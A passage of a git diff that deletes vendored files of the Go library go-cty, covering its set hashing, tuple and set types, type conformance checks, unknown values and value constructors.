"bytes" - "fmt" - "hash/crc32" - "math/big" - "sort" - - "github.com/zclconf/go-cty/cty/set" -) - -// setRules provides a Rules implementation for the ./set package that -// respects the equality rules for cty values of the given type. -// -// This implementation expects that values added to the set will be -// valid internal values for the given Type, which is to say that wrapping -// the given value in a Value struct along with the ruleset's type should -// produce a valid, working Value. -type setRules struct { - Type Type -} - -var _ set.OrderedRules = setRules{} - -// Hash returns a hash value for the receiver that can be used for equality -// checks where some inaccuracy is tolerable. -// -// The hash function is value-type-specific, so it is not meaningful to compare -// hash results for values of different types. -// -// This function is not safe to use for security-related applications, since -// the hash used is not strong enough. -func (val Value) Hash() int { - hashBytes, marks := makeSetHashBytes(val) - if len(marks) > 0 { - panic("can't take hash of value that has marks or has embedded values that have marks") - } - return int(crc32.ChecksumIEEE(hashBytes)) -} - -func (r setRules) Hash(v interface{}) int { - return Value{ - ty: r.Type, - v: v, - }.Hash() -} - -func (r setRules) Equivalent(v1 interface{}, v2 interface{}) bool { - v1v := Value{ - ty: r.Type, - v: v1, - } - v2v := Value{ - ty: r.Type, - v: v2, - } - - eqv := v1v.Equals(v2v) - - // By comparing the result to true we ensure that an Unknown result, - // which will result if either value is unknown, will be considered - // as non-equivalent. Two unknown values are not equivalent for the - // sake of set membership. - return eqv.v == true -} - -// SameRules is only true if the other Rules instance is also a setRules struct, -// and the types are considered equal. -func (r setRules) SameRules(other set.Rules) bool { - rules, ok := other.(setRules) - if !ok { - return false - } - - return r.Type.Equals(rules.Type) -} - -// Less is an implementation of set.OrderedRules so that we can iterate over -// set elements in a consistent order, where such an order is possible. -func (r setRules) Less(v1, v2 interface{}) bool { - v1v := Value{ - ty: r.Type, - v: v1, - } - v2v := Value{ - ty: r.Type, - v: v2, - } - - if v1v.RawEquals(v2v) { // Easy case: if they are equal then v1 can't be less - return false - } - - // Null values always sort after non-null values - if v2v.IsNull() && !v1v.IsNull() { - return true - } else if v1v.IsNull() { - return false - } - // Unknown values always sort after known values - if v1v.IsKnown() && !v2v.IsKnown() { - return true - } else if !v1v.IsKnown() { - return false - } - - switch r.Type { - case String: - // String values sort lexicographically - return v1v.AsString() < v2v.AsString() - case Bool: - // Weird to have a set of bools, but if we do then false sorts before true. - if v2v.True() || !v1v.True() { - return true - } - return false - case Number: - v1f := v1v.AsBigFloat() - v2f := v2v.AsBigFloat() - return v1f.Cmp(v2f) < 0 - default: - // No other types have a well-defined ordering, so we just produce a - // default consistent-but-undefined ordering then. This situation is - // not considered a compatibility constraint; callers should rely only - // on the ordering rules for primitive values. - v1h, _ := makeSetHashBytes(v1v) - v2h, _ := makeSetHashBytes(v2v) - return bytes.Compare(v1h, v2h) < 0 - } -} - -func makeSetHashBytes(val Value) ([]byte, ValueMarks) { - var buf bytes.Buffer - marks := make(ValueMarks) - appendSetHashBytes(val, &buf, marks) - return buf.Bytes(), marks -} - -func appendSetHashBytes(val Value, buf *bytes.Buffer, marks ValueMarks) { - // Exactly what bytes we generate here don't matter as long as the following - // constraints hold: - // - Unknown and null values all generate distinct strings from - // each other and from any normal value of the given type. - // - The delimiter used to separate items in a compound structure can - // never appear literally in any of its elements. - // Since we don't support hetrogenous lists we don't need to worry about - // collisions between values of different types, apart from - // PseudoTypeDynamic. - // If in practice we *do* get a collision then it's not a big deal because - // the Equivalent function will still distinguish values, but set - // performance will be best if we are able to produce a distinct string - // for each distinct value, unknown values notwithstanding. - - // Marks aren't considered part of a value for equality-testing purposes, - // so we'll unmark our value before we work with it but we'll remember - // the marks in case the caller needs to re-apply them to a derived - // value. - if val.IsMarked() { - unmarkedVal, valMarks := val.Unmark() - for m := range valMarks { - marks[m] = struct{}{} - } - val = unmarkedVal - } - - if !val.IsKnown() { - buf.WriteRune('?') - return - } - if val.IsNull() { - buf.WriteRune('~') - return - } - - switch val.ty { - case Number: - // Due to an unfortunate quirk of gob encoding for big.Float, we end up - // with non-pointer values immediately after a gob round-trip, and - // we end up in here before we've had a chance to run - // gobDecodeFixNumberPtr on the inner values of a gob-encoded set, - // and so sadly we must make a special effort to handle that situation - // here just so that we can get far enough along to fix it up for - // everything else in this package. - if bf, ok := val.v.(big.Float); ok { - buf.WriteString(bf.String()) - return - } - buf.WriteString(val.v.(*big.Float).String()) - return - case Bool: - if val.v.(bool) { - buf.WriteRune('T') - } else { - buf.WriteRune('F') - } - return - case String: - buf.WriteString(fmt.Sprintf("%q", val.v.(string))) - return - } - - if val.ty.IsMapType() { - buf.WriteRune('{') - val.ForEachElement(func(keyVal, elementVal Value) bool { - appendSetHashBytes(keyVal, buf, marks) - buf.WriteRune(':') - appendSetHashBytes(elementVal, buf, marks) - buf.WriteRune(';') - return false - }) - buf.WriteRune('}') - return - } - - if val.ty.IsListType() || val.ty.IsSetType() { - buf.WriteRune('[') - val.ForEachElement(func(keyVal, elementVal Value) bool { - appendSetHashBytes(elementVal, buf, marks) - buf.WriteRune(';') - return false - }) - buf.WriteRune(']') - return - } - - if val.ty.IsObjectType() { - buf.WriteRune('<') - attrNames := make([]string, 0, len(val.ty.AttributeTypes())) - for attrName := range val.ty.AttributeTypes() { - attrNames = append(attrNames, attrName) - } - sort.Strings(attrNames) - for _, attrName := range attrNames { - appendSetHashBytes(val.GetAttr(attrName), buf, marks) - buf.WriteRune(';') - } - buf.WriteRune('>') - return - } - - if val.ty.IsTupleType() { - buf.WriteRune('<') - val.ForEachElement(func(keyVal, elementVal Value) bool { - appendSetHashBytes(elementVal, buf, marks) - buf.WriteRune(';') - return false - }) - buf.WriteRune('>') - return - } - - // should never get down here - panic("unsupported type in set hash") -} diff --git a/vendor/github.com/zclconf/go-cty/cty/set_type.go b/vendor/github.com/zclconf/go-cty/cty/set_type.go deleted file mode 100644 index cbc3706f2c..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/set_type.go +++ /dev/null @@ -1,72 +0,0 @@ -package cty - -import ( - "fmt" -) - -type typeSet struct { - typeImplSigil - ElementTypeT Type -} - -// Set creates a set type with the given element Type. -// -// Set types are CollectionType implementations. -func Set(elem Type) Type { - return Type{ - typeSet{ - ElementTypeT: elem, - }, - } -} - -// Equals returns true if the other Type is a set whose element type is -// equal to that of the receiver. -func (t typeSet) Equals(other Type) bool { - ot, isSet := other.typeImpl.(typeSet) - if !isSet { - return false - } - - return t.ElementTypeT.Equals(ot.ElementTypeT) -} - -func (t typeSet) FriendlyName(mode friendlyTypeNameMode) string { - elemName := t.ElementTypeT.friendlyNameMode(mode) - if mode == friendlyTypeConstraintName { - if t.ElementTypeT == DynamicPseudoType { - elemName = "any single type" - } - } - return "set of " + elemName -} - -func (t typeSet) ElementType() Type { - return t.ElementTypeT -} - -func (t typeSet) GoString() string { - return fmt.Sprintf("cty.Set(%#v)", t.ElementTypeT) -} - -// IsSetType returns true if the given type is a list type, regardless of its -// element type. -func (t Type) IsSetType() bool { - _, ok := t.typeImpl.(typeSet) - return ok -} - -// SetElementType is a convenience method that checks if the given type is -// a set type, returning a pointer to its element type if so and nil -// otherwise. This is intended to allow convenient conditional branches, -// like so: -// -// if et := t.SetElementType(); et != nil { -// // Do something with *et -// } -func (t Type) SetElementType() *Type { - if lt, ok := t.typeImpl.(typeSet); ok { - return <.ElementTypeT - } - return nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/tuple_type.go b/vendor/github.com/zclconf/go-cty/cty/tuple_type.go deleted file mode 100644 index 798cacd63a..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/tuple_type.go +++ /dev/null @@ -1,121 +0,0 @@ -package cty - -import ( - "fmt" -) - -type typeTuple struct { - typeImplSigil - ElemTypes []Type -} - -// Tuple creates a tuple type with the given element types. -// -// After a slice is passed to this function the caller must no longer access -// the underlying array, since ownership is transferred to this library. -func Tuple(elemTypes []Type) Type { - return Type{ - typeTuple{ - ElemTypes: elemTypes, - }, - } -} - -func (t typeTuple) Equals(other Type) bool { - if ot, ok := other.typeImpl.(typeTuple); ok { - if len(t.ElemTypes) != len(ot.ElemTypes) { - // Fast path: if we don't have the same number of elements - // then we can't possibly be equal. - return false - } - - for i, ty := range t.ElemTypes { - oty := ot.ElemTypes[i] - if !ok { - return false - } - if !oty.Equals(ty) { - return false - } - } - - return true - } - return false -} - -func (t typeTuple) FriendlyName(mode friendlyTypeNameMode) string { - // There isn't really a friendly way to write a tuple type due to its - // complexity, so we'll just do something English-ish. Callers will - // probably want to make some extra effort to avoid ever printing out - // a tuple type FriendlyName in its entirety. For example, could - // produce an error message by diffing two object types and saying - // something like "Expected attribute foo to be string, but got number". - // TODO: Finish this - return "tuple" -} - -func (t typeTuple) GoString() string { - if len(t.ElemTypes) == 0 { - return "cty.EmptyTuple" - } - return fmt.Sprintf("cty.Tuple(%#v)", t.ElemTypes) -} - -// EmptyTuple is a shorthand for Tuple([]Type{}), to more easily talk about -// the empty tuple type. -var EmptyTuple Type - -// EmptyTupleVal is the only possible non-null, non-unknown value of type -// EmptyTuple. -var EmptyTupleVal Value - -func init() { - EmptyTuple = Tuple([]Type{}) - EmptyTupleVal = Value{ - ty: EmptyTuple, - v: []interface{}{}, - } -} - -// IsTupleType returns true if the given type is an object type, regardless -// of its element type. -func (t Type) IsTupleType() bool { - _, ok := t.typeImpl.(typeTuple) - return ok -} - -// Length returns the number of elements of the receiving tuple type. -// Will panic if the reciever isn't a tuple type; use IsTupleType to determine -// whether this operation will succeed. -func (t Type) Length() int { - if ot, ok := t.typeImpl.(typeTuple); ok { - return len(ot.ElemTypes) - } - panic("Length on non-tuple Type") -} - -// TupleElementType returns the type of the element with the given index. Will -// panic if the receiver is not a tuple type (use IsTupleType to confirm) -// or if the index is out of range (use Length to confirm). -func (t Type) TupleElementType(idx int) Type { - if ot, ok := t.typeImpl.(typeTuple); ok { - return ot.ElemTypes[idx] - } - panic("TupleElementType on non-tuple Type") -} - -// TupleElementTypes returns a slice of the recieving tuple type's element -// types. Will panic if the receiver is not a tuple type (use IsTupleType -// to confirm). -// -// The returned slice is part of the internal state of the type, and is provided -// for read access only. It is forbidden for any caller to modify the -// underlying array. For many purposes the element-related methods of Value -// are more appropriate and more convenient to use. -func (t Type) TupleElementTypes() []Type { - if ot, ok := t.typeImpl.(typeTuple); ok { - return ot.ElemTypes - } - panic("TupleElementTypes on non-tuple Type") -} diff --git a/vendor/github.com/zclconf/go-cty/cty/type.go b/vendor/github.com/zclconf/go-cty/cty/type.go deleted file mode 100644 index 5f7813e832..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/type.go +++ /dev/null @@ -1,120 +0,0 @@ -package cty - -// Type represents value types within the type system. -// -// This is a closed interface type, meaning that only the concrete -// implementations provided within this package are considered valid. -type Type struct { - typeImpl -} - -type typeImpl interface { - // isTypeImpl is a do-nothing method that exists only to express - // that a type is an implementation of typeImpl. - isTypeImpl() typeImplSigil - - // Equals returns true if the other given Type exactly equals the - // receiver Type. - Equals(other Type) bool - - // FriendlyName returns a human-friendly *English* name for the given - // type. - FriendlyName(mode friendlyTypeNameMode) string - - // GoString implements the GoStringer interface from package fmt. - GoString() string -} - -// Base implementation of Type to embed into concrete implementations -// to signal that they are implementations of Type. -type typeImplSigil struct{} - -func (t typeImplSigil) isTypeImpl() typeImplSigil { - return typeImplSigil{} -} - -// Equals returns true if the other given Type exactly equals the receiver -// type. -func (t Type) Equals(other Type) bool { - return t.typeImpl.Equals(other) -} - -// FriendlyName returns a human-friendly *English* name for the given type. -func (t Type) FriendlyName() string { - return t.typeImpl.FriendlyName(friendlyTypeName) -} - -// FriendlyNameForConstraint is similar to FriendlyName except that the -// result is specialized for describing type _constraints_ rather than types -// themselves. This is more appropriate when reporting that a particular value -// does not conform to an expected type constraint. -// -// In particular, this function uses the term "any type" to refer to -// cty.DynamicPseudoType, rather than "dynamic" as returned by FriendlyName. -func (t Type) FriendlyNameForConstraint() string { - return t.typeImpl.FriendlyName(friendlyTypeConstraintName) -} - -// friendlyNameMode is an internal combination of the various FriendlyName* -// variants that just directly takes a mode, for easy passthrough for -// recursive name construction. -func (t Type) friendlyNameMode(mode friendlyTypeNameMode) string { - return t.typeImpl.FriendlyName(mode) -} - -// GoString returns a string approximating how the receiver type would be -// expressed in Go source code. -func (t Type) GoString() string { - if t.typeImpl == nil { - return "cty.NilType" - } - - return t.typeImpl.GoString() -} - -// NilType is an invalid type used when a function is returning an error -// and has no useful type to return. It should not be used and any methods -// called on it will panic. -var NilType = Type{} - -// HasDynamicTypes returns true either if the receiver is itself -// DynamicPseudoType or if it is a compound type whose descendent elements -// are DynamicPseudoType. -func (t Type) HasDynamicTypes() bool { - switch { - case t == DynamicPseudoType: - return true - case t.IsPrimitiveType(): - return false - case t.IsCollectionType(): - return t.ElementType().HasDynamicTypes() - case t.IsObjectType(): - attrTypes := t.AttributeTypes() - for _, at := range attrTypes { - if at.HasDynamicTypes() { - return true - } - } - return false - case t.IsTupleType(): - elemTypes := t.TupleElementTypes() - for _, et := range elemTypes { - if et.HasDynamicTypes() { - return true - } - } - return false - case t.IsCapsuleType(): - return false - default: - // Should never happen, since above should be exhaustive - panic("HasDynamicTypes does not support the given type") - } -} - -type friendlyTypeNameMode rune - -const ( - friendlyTypeName friendlyTypeNameMode = 'N' - friendlyTypeConstraintName friendlyTypeNameMode = 'C' -) diff --git a/vendor/github.com/zclconf/go-cty/cty/type_conform.go b/vendor/github.com/zclconf/go-cty/cty/type_conform.go deleted file mode 100644 index 476eeea87f..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/type_conform.go +++ /dev/null @@ -1,139 +0,0 @@ -package cty - -// TestConformance recursively walks the receiver and the given other type and -// returns nil if the receiver *conforms* to the given type. -// -// Type conformance is similar to type equality but has one crucial difference: -// PseudoTypeDynamic can be used within the given type to represent that -// *any* type is allowed. -// -// If any non-conformities are found, the returned slice will be non-nil and -// contain at least one error value. It will be nil if the type is entirely -// conformant. -// -// Note that the special behavior of PseudoTypeDynamic is the *only* exception -// to normal type equality. Calling applications may wish to apply their own -// automatic conversion logic to the given data structure to create a more -// liberal notion of conformance to a type. -// -// Returned errors are usually (but not always) PathError instances that -// indicate where in the structure the error was found. If a returned error -// is of that type then the error message is written for (English-speaking) -// end-users working within the cty type system, not mentioning any Go-oriented -// implementation details. -func (t Type) TestConformance(other Type) []error { - path := make(Path, 0) - var errs []error - testConformance(t, other, path, &errs) - return errs -} - -func testConformance(given Type, want Type, path Path, errs *[]error) { - if want.Equals(DynamicPseudoType) { - // anything goes! - return - } - - if given.Equals(want) { - // Any equal types are always conformant - return - } - - // The remainder of this function is concerned with detecting - // and reporting the specific non-conformance, since we wouldn't - // have got here if the types were not divergent. - // We treat compound structures as special so that we can report - // specifically what is non-conforming, rather than simply returning - // the entire type names and letting the user puzzle it out. - - if given.IsObjectType() && want.IsObjectType() { - givenAttrs := given.AttributeTypes() - wantAttrs := want.AttributeTypes() - - for k := range givenAttrs { - if _, exists := wantAttrs[k]; !exists { - *errs = append( - *errs, - errorf(path, "unsupported attribute %q", k), - ) - } - } - for k := range wantAttrs { - if _, exists := givenAttrs[k]; !exists { - *errs = append( - *errs, - errorf(path, "missing required attribute %q", k), - ) - } - } - - path = append(path, nil) - pathIdx := len(path) - 1 - - for k, wantAttrType := range wantAttrs { - if givenAttrType, exists := givenAttrs[k]; exists { - path[pathIdx] = GetAttrStep{Name: k} - testConformance(givenAttrType, wantAttrType, path, errs) - } - } - - path = path[0:pathIdx] - - return - } - - if given.IsTupleType() && want.IsTupleType() { - givenElems := given.TupleElementTypes() - wantElems := want.TupleElementTypes() - - if len(givenElems) != len(wantElems) { - *errs = append( - *errs, - errorf(path, "%d elements are required, but got %d", len(wantElems), len(givenElems)), - ) - return - } - - path = append(path, nil) - pathIdx := len(path) - 1 - - for i, wantElemType := range wantElems { - givenElemType := givenElems[i] - path[pathIdx] = IndexStep{Key: NumberIntVal(int64(i))} - testConformance(givenElemType, wantElemType, path, errs) - } - - path = path[0:pathIdx] - - return - } - - if given.IsListType() && want.IsListType() { - path = append(path, IndexStep{Key: UnknownVal(Number)}) - pathIdx := len(path) - 1 - testConformance(given.ElementType(), want.ElementType(), path, errs) - path = path[0:pathIdx] - return - } - - if given.IsMapType() && want.IsMapType() { - path = append(path, IndexStep{Key: UnknownVal(String)}) - pathIdx := len(path) - 1 - testConformance(given.ElementType(), want.ElementType(), path, errs) - path = path[0:pathIdx] - return - } - - if given.IsSetType() && want.IsSetType() { - path = append(path, IndexStep{Key: UnknownVal(given.ElementType())}) - pathIdx := len(path) - 1 - testConformance(given.ElementType(), want.ElementType(), path, errs) - path = path[0:pathIdx] - return - } - - *errs = append( - *errs, - errorf(path, "%s required, but received %s", want.FriendlyName(), given.FriendlyName()), - ) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/types_to_register.go b/vendor/github.com/zclconf/go-cty/cty/types_to_register.go deleted file mode 100644 index e1e220aab3..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/types_to_register.go +++ /dev/null @@ -1,57 +0,0 @@ -package cty - -import ( - "encoding/gob" - "fmt" - "math/big" - "strings" - - "github.com/zclconf/go-cty/cty/set" -) - -// InternalTypesToRegister is a slice of values that covers all of the -// internal types used in the representation of cty.Type and cty.Value -// across all cty Types. -// -// This is intended to be used to register these types with encoding -// packages that require registration of types used in interfaces, such as -// encoding/gob, thus allowing cty types and values to be included in streams -// created from those packages. However, registering with gob is not necessary -// since that is done automatically as a side-effect of importing this package. -// -// Callers should not do anything with the values here except pass them on -// verbatim to a registration function. -// -// If the calling application uses Capsule types that wrap local structs either -// directly or indirectly, these structs may also need to be registered in -// order to support encoding and decoding of values of these types. That is the -// responsibility of the calling application. -var InternalTypesToRegister []interface{} - -func init() { - InternalTypesToRegister = []interface{}{ - primitiveType{}, - typeList{}, - typeMap{}, - typeObject{}, - typeSet{}, - setRules{}, - set.Set{}, - typeTuple{}, - big.Float{}, - capsuleType{}, - []interface{}(nil), - map[string]interface{}(nil), - } - - // Register these with gob here, rather than in gob.go, to ensure - // that this will always happen after we build the above. - for _, tv := range InternalTypesToRegister { - typeName := fmt.Sprintf("%T", tv) - if strings.HasPrefix(typeName, "cty.") { - gob.RegisterName(fmt.Sprintf("github.com/zclconf/go-cty/%s", typeName), tv) - } else { - gob.Register(tv) - } - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/unknown.go b/vendor/github.com/zclconf/go-cty/cty/unknown.go deleted file mode 100644 index e54179eb14..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/unknown.go +++ /dev/null @@ -1,84 +0,0 @@ -package cty - -// unknownType is the placeholder type used for the sigil value representing -// "Unknown", to make it unambigiously distinct from any other possible value. -type unknownType struct { -} - -// Unknown is a special value that can be -var unknown interface{} = &unknownType{} - -// UnknownVal returns an Value that represents an unknown value of the given -// type. Unknown values can be used to represent a value that is -// not yet known. Its meaning is undefined in cty, but it could be used by -// an calling application to allow partial evaluation. -// -// Unknown values of any type can be created of any type. All operations on -// Unknown values themselves return Unknown. -func UnknownVal(t Type) Value { - return Value{ - ty: t, - v: unknown, - } -} - -func (t unknownType) GoString() string { - // This is the stringification of our internal unknown marker. The - // stringification of the public representation of unknowns is in - // Value.GoString. - return "cty.unknown" -} - -type pseudoTypeDynamic struct { - typeImplSigil -} - -// DynamicPseudoType represents the dynamic pseudo-type. -// -// This type can represent situations where a type is not yet known. Its -// meaning is undefined in cty, but it could be used by a calling -// application to allow expression type checking with some types not yet known. -// For example, the application might optimistically permit any operation on -// values of this type in type checking, allowing a partial type-check result, -// and then repeat the check when more information is known to get the -// final, concrete type. -// -// It is a pseudo-type because it is used only as a sigil to the calling -// application. "Unknown" is the only valid value of this pseudo-type, so -// operations on values of this type will always short-circuit as per -// the rules for that special value. -var DynamicPseudoType Type - -func (t pseudoTypeDynamic) Equals(other Type) bool { - _, ok := other.typeImpl.(pseudoTypeDynamic) - return ok -} - -func (t pseudoTypeDynamic) FriendlyName(mode friendlyTypeNameMode) string { - switch mode { - case friendlyTypeConstraintName: - return "any type" - default: - return "dynamic" - } -} - -func (t pseudoTypeDynamic) GoString() string { - return "cty.DynamicPseudoType" -} - -// DynamicVal is the only valid value of the pseudo-type dynamic. -// This value can be used as a placeholder where a value or expression's -// type and value are both unknown, thus allowing partial evaluation. See -// the docs for DynamicPseudoType for more information. -var DynamicVal Value - -func init() { - DynamicPseudoType = Type{ - pseudoTypeDynamic{}, - } - DynamicVal = Value{ - ty: DynamicPseudoType, - v: unknown, - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/unknown_as_null.go b/vendor/github.com/zclconf/go-cty/cty/unknown_as_null.go deleted file mode 100644 index ba926475ce..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/unknown_as_null.go +++ /dev/null @@ -1,64 +0,0 @@ -package cty - -// UnknownAsNull returns a value of the same type as the given value but -// with any unknown values (including nested values) replaced with null -// values of the same type. -// -// This can be useful if a result is to be serialized in a format that can't -// represent unknowns, such as JSON, as long as the caller does not need to -// retain the unknown value information. -func UnknownAsNull(val Value) Value { - ty := val.Type() - switch { - case val.IsNull(): - return val - case !val.IsKnown(): - return NullVal(ty) - case ty.IsListType() || ty.IsTupleType() || ty.IsSetType(): - length := val.LengthInt() - if length == 0 { - // If there are no elements then we can't have unknowns - return val - } - vals := make([]Value, 0, length) - it := val.ElementIterator() - for it.Next() { - _, v := it.Element() - vals = append(vals, UnknownAsNull(v)) - } - switch { - case ty.IsListType(): - return ListVal(vals) - case ty.IsTupleType(): - return TupleVal(vals) - default: - return SetVal(vals) - } - case ty.IsMapType() || ty.IsObjectType(): - var length int - switch { - case ty.IsMapType(): - length = val.LengthInt() - default: - length = len(val.Type().AttributeTypes()) - } - if length == 0 { - // If there are no elements then we can't have unknowns - return val - } - vals := make(map[string]Value, length) - it := val.ElementIterator() - for it.Next() { - k, v := it.Element() - vals[k.AsString()] = UnknownAsNull(v) - } - switch { - case ty.IsMapType(): - return MapVal(vals) - default: - return ObjectVal(vals) - } - } - - return val -} diff --git a/vendor/github.com/zclconf/go-cty/cty/value.go b/vendor/github.com/zclconf/go-cty/cty/value.go deleted file mode 100644 index f6a25ddef9..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/value.go +++ /dev/null @@ -1,142 +0,0 @@ -package cty - -// Value represents a value of a particular type, and is the interface by -// which operations are executed on typed values. -// -// Value has two different classes of method. Operation methods stay entirely -// within the type system (methods accept and return Value instances) and -// are intended for use in implementing a language in terms of cty, while -// integration methods either enter or leave the type system, working with -// native Go values. Operation methods are guaranteed to support all of the -// expected short-circuit behavior for unknown and dynamic values, while -// integration methods may not. -// -// The philosophy for the operations API is that it's the caller's -// responsibility to ensure that the given types and values satisfy the -// specified invariants during a separate type check, so that the caller is -// able to return errors to its user from the application's own perspective. -// -// Consequently the design of these methods assumes such checks have already -// been done and panics if any invariants turn out not to be satisfied. These -// panic errors are not intended to be handled, but rather indicate a bug in -// the calling application that should be fixed with more checks prior to -// executing operations. -// -// A related consequence of this philosophy is that no automatic type -// conversions are done. If a method specifies that its argument must be -// number then it's the caller's responsibility to do that conversion before -// the call, thus allowing the application to have more constrained conversion -// rules than are offered by the built-in converter where necessary. -type Value struct { - ty Type - v interface{} -} - -// Type returns the type of the value. -func (val Value) Type() Type { - return val.ty -} - -// IsKnown returns true if the value is known. That is, if it is not -// the result of the unknown value constructor Unknown(...), and is not -// the result of an operation on another unknown value. -// -// Unknown values are only produced either directly or as a result of -// operating on other unknown values, and so an application that never -// introduces Unknown values can be guaranteed to never receive any either. -func (val Value) IsKnown() bool { - if val.IsMarked() { - return val.unmarkForce().IsKnown() - } - return val.v != unknown -} - -// IsNull returns true if the value is null. Values of any type can be -// null, but any operations on a null value will panic. No operation ever -// produces null, so an application that never introduces Null values can -// be guaranteed to never receive any either. -func (val Value) IsNull() bool { - if val.IsMarked() { - return val.unmarkForce().IsNull() - } - return val.v == nil -} - -// NilVal is an invalid Value that can be used as a placeholder when returning -// with an error from a function that returns (Value, error). -// -// NilVal is *not* a valid error and so no operations may be performed on it. -// Any attempt to use it will result in a panic. -// -// This should not be confused with the idea of a Null value, as returned by -// NullVal. NilVal is a nil within the *Go* type system, and is invalid in -// the cty type system. Null values *do* exist in the cty type system. -var NilVal = Value{ - ty: Type{typeImpl: nil}, - v: nil, -} - -// IsWhollyKnown is an extension of IsKnown that also recursively checks -// inside collections and structures to see if there are any nested unknown -// values. -func (val Value) IsWhollyKnown() bool { - if val.IsMarked() { - return val.unmarkForce().IsWhollyKnown() - } - - if !val.IsKnown() { - return false - } - - if val.IsNull() { - // Can't recurse into a null, so we're done - return true - } - - switch { - case val.CanIterateElements(): - for it := val.ElementIterator(); it.Next(); { - _, ev := it.Element() - if !ev.IsWhollyKnown() { - return false - } - } - return true - default: - return true - } -} - -// HasWhollyKnownType checks if the value is dynamic, or contains any nested -// DynamicVal. This implies that both the value is not known, and the final -// type may change. -func (val Value) HasWhollyKnownType() bool { - // a null dynamic type is known - if val.IsNull() { - return true - } - - // an unknown DynamicPseudoType is a DynamicVal, but we don't want to - // check that value for equality here, since this method is used within the - // equality check. - if !val.IsKnown() && val.ty == DynamicPseudoType { - return false - } - - if val.CanIterateElements() { - // if the value is not known, then we can look directly at the internal - // types - if !val.IsKnown() { - return !val.ty.HasDynamicTypes() - } - - for it := val.ElementIterator(); it.Next(); { - _, ev := it.Element() - if !ev.HasWhollyKnownType() { - return false - } - } - } - - return true -} diff --git a/vendor/github.com/zclconf/go-cty/cty/value_init.go b/vendor/github.com/zclconf/go-cty/cty/value_init.go deleted file mode 100644 index 2dafe17ae3..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/value_init.go +++ /dev/null @@ -1,324 +0,0 @@ -package cty - -import ( - "fmt" - "math/big" - "reflect" - - "golang.org/x/text/unicode/norm" - - "github.com/zclconf/go-cty/cty/set" -) - -// BoolVal returns a Value of type Number whose internal value is the given -// bool. -func BoolVal(v bool) Value { - return Value{ - ty: Bool, - v: v, - } -} - -// NumberVal returns a Value of type Number whose internal value is the given -// big.Float. The returned value becomes the owner of the big.Float object, -// and so it's forbidden for the caller to mutate the object after it's -// wrapped in this way. -func NumberVal(v *big.Float) Value { - return Value{ - ty: Number, - v: v, - } -} - -// ParseNumberVal returns a Value of type number produced by parsing the given -// string as a decimal real number. To ensure that two identical strings will -// always produce an equal number, always use this function to derive a number -// from a string; it will ensure that the precision and rounding mode for the -// internal big decimal is configured in a consistent way. -// -// If the given string cannot be parsed as a number, the returned error has -// the message "a number is required", making it suitable to return to an -// end-user to signal a type conversion error. -// -// If the given string contains a number that becomes a recurring fraction -// when expressed in binary then it will be truncated to have a 512-bit -// mantissa. Note that this is a higher precision than that of a float64, -// so coverting the same decimal number first to float64 and then calling -// NumberFloatVal will not produce an equal result; the conversion first -// to float64 will round the mantissa to fewer than 512 bits. -func ParseNumberVal(s string) (Value, error) { - // Base 10, precision 512, and rounding to nearest even is the standard - // way to handle numbers arriving as strings. - f, _, err := big.ParseFloat(s, 10, 512, big.ToNearestEven) - if err != nil { - return NilVal, fmt.Errorf("a number is required") - } - return NumberVal(f), nil -} - -// MustParseNumberVal is like ParseNumberVal but it will panic in case of any -// error. It can be used during initialization or any other situation where -// the given string is a constant or otherwise known to be correct by the -// caller. -func MustParseNumberVal(s string) Value { - ret, err := ParseNumberVal(s) - if err != nil { - panic(err) - } - return ret -} - -// NumberIntVal returns a Value of type Number whose internal value is equal -// to the given integer. -func NumberIntVal(v int64) Value { - return NumberVal(new(big.Float).SetInt64(v)) -} - -// NumberUIntVal returns a Value of type Number whose internal value is equal -// to the given unsigned integer. -func NumberUIntVal(v uint64) Value { - return NumberVal(new(big.Float).SetUint64(v)) -} - -// NumberFloatVal returns a Value of type Number whose internal value is -// equal to the given float. -func NumberFloatVal(v float64) Value { - return NumberVal(new(big.Float).SetFloat64(v)) -} - -// StringVal returns a Value of type String whose internal value is the -// given string. -// -// Strings must be UTF-8 encoded sequences of valid unicode codepoints, and -// they are NFC-normalized on entry into the world of cty values. -// -// If the given string is not valid UTF-8 then behavior of string operations -// is undefined. -func StringVal(v string) Value { - return Value{ - ty: String, - v: NormalizeString(v), - } -} - -// NormalizeString applies the same normalization that cty applies when -// constructing string values. -// -// A return value from this function can be meaningfully compared byte-for-byte -// with a Value.AsString result. -func NormalizeString(s string) string { - return norm.NFC.String(s) -} - -// ObjectVal returns a Value of an object type whose structure is defined -// by the key names and value types in the given map. -func ObjectVal(attrs map[string]Value) Value { - attrTypes := make(map[string]Type, len(attrs)) - attrVals := make(map[string]interface{}, len(attrs)) - - for attr, val := range attrs { - attr = NormalizeString(attr) - attrTypes[attr] = val.ty - attrVals[attr] = val.v - } - - return Value{ - ty: Object(attrTypes), - v: attrVals, - } -} - -// TupleVal returns a Value of a tuple type whose element types are -// defined by the value types in the given slice. -func TupleVal(elems []Value) Value { - elemTypes := make([]Type, len(elems)) - elemVals := make([]interface{}, len(elems)) - - for i, val := range elems { - elemTypes[i] = val.ty - elemVals[i] = val.v - } - - return Value{ - ty: Tuple(elemTypes), - v: elemVals, - } -} - -// ListVal returns a Value of list type whose element type is defined by -// the types of the given values, which must be homogenous. -// -// If the types are not all consistent (aside from elements that are of the -// dynamic pseudo-type) then this function will panic. It will panic also -// if the given list is empty, since then the element type cannot be inferred. -// (See also ListValEmpty.) -func ListVal(vals []Value) Value { - if len(vals) == 0 { - panic("must not call ListVal with empty slice") - } - elementType := DynamicPseudoType - rawList := make([]interface{}, len(vals)) - - for i, val := range vals { - if elementType == DynamicPseudoType { - elementType = val.ty - } else if val.ty != DynamicPseudoType && !elementType.Equals(val.ty) { - panic(fmt.Errorf( - "inconsistent list element types (%#v then %#v)", - elementType, val.ty, - )) - } - - rawList[i] = val.v - } - - return Value{ - ty: List(elementType), - v: rawList, - } -} - -// ListValEmpty returns an 